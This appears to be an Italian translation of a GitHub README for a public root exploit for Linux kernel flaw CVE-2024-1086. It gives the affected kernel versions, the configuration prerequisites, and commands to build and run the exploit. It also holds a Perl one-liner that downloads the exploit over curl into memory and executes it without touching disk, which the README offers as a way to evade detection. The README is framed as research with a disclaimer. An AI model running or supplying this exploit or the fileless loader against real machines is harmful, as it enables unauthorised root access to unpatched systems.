
Exploit di escalation dei privilegi locali per CVE-2024-1086 che bersaglia i kernel Linux v5.14–v6.6 con un tasso di successo del 99,4% su KernelCTF. Include supporto per esecuzione senza file per test di penetrazione.
Exploit Proof-of-Concept universale per escalation di privilegi locali per CVE-2024-1086, funzionante sulla maggior parte dei kernel Linux tra v5.14 e v6.6, inclusi Debian, Ubuntu e KernelCTF. Il tasso di successo è del 99,4% nelle immagini KernelCTF.
https://github.com/Notselwyn/CVE-2024-1086/assets/68616630/a3d43951-94ab-4c09-a14b-07b81f89b3de
Un'analisi completa dell'exploit - inclusi informazioni di base e molti diagrammi utili - è disponibile nel blogpost di Flipping Pages.
L'exploit riguarda le versioni da (inclusa) v5.14 a (inclusa) v6.6, escludendo i rami con patch v5.15.149>, v6.1.76>, v6.6.15>. La patch per queste versioni è stata rilasciata a febbraio 2024. La vulnerabilità sottostante riguarda tutte le versioni (esclusi i rami stabili con patch) da v3.15 a v6.8-rc1.
Avvertenze:
CONFIG_INIT_ON_ALLOC_DEFAULT_ON=y (incluso Ubuntu v6.5)CONFIG_USER_NS=y), che tali user namespaces siano non privilegiati (comando sh sysctl kernel.unprivileged_userns_clone = 1), e che nf_tables sia abilitato (kconfig CONFIG_NF_TABLES=y). Per impostazione predefinita, sono tutti abilitati su Debian, Ubuntu e KernelCTF. Altre distribuzioni non sono state testate, ma potrebbero funzionare. Inoltre, l'exploit è stato testato solo su x64/amd64.I valori predefiniti dovrebbero funzionare immediatamente su Debian, Ubuntu e KernelCTF con una shell locale. Su configurazioni/distribuzioni non testate, assicurarsi che i valori kconfig corrispondano al kernel di destinazione. Possono essere specificati in src/config.h. Se si esegue l'exploit su una macchina con più di 32GiB di memoria fisica, assicurarsi di aumentare CONFIG_PHYS_MEM.
Se si esegue l'exploit tramite SSH (sulla macchina di test) o una reverse shell, potrebbe essere utile impostare CONFIG_REDIRECT_LOG su 1 per evitare attività di rete non necessarie.
Se questo è poco pratico per te, è disponibile un binario x64 compilato con la configurazione predefinita.
git clone https://github.com/Notselwyn/CVE-2024-1086
cd CVE-2024-1086
make
Binary: CVE-2024-1086/exploit
Eseguire l'exploit è altrettanto semplice:
./exploit
È supportata anche l'esecuzione senza file, in caso di situazioni di pentest in cui è necessario evitare rilevamenti. Tuttavia, Perl deve essere installato sul target:
perl -e '
require qw/syscall.ph/;
my $fd = syscall(SYS_memfd_create(), $fn, 0);
system "curl https://example.com/exploit -s >&$fd";
exec {"/proc/$$/fd/$fd"} "memfd";
'
I programmi e gli script ("programmi") in questa directory/cartella/repository di software ("repository") sono pubblicati, sviluppati e distribuiti solo per scopi educativi/di ricerca. Io ("il creatore") non approvo alcun uso malevolo o illegale dei programmi in questo repository, poiché l'intento è condividere la ricerca e non svolgere attività illegali con essa. Non sono legalmente responsabile per qualsiasi cosa tu faccia con i programmi in questo repository.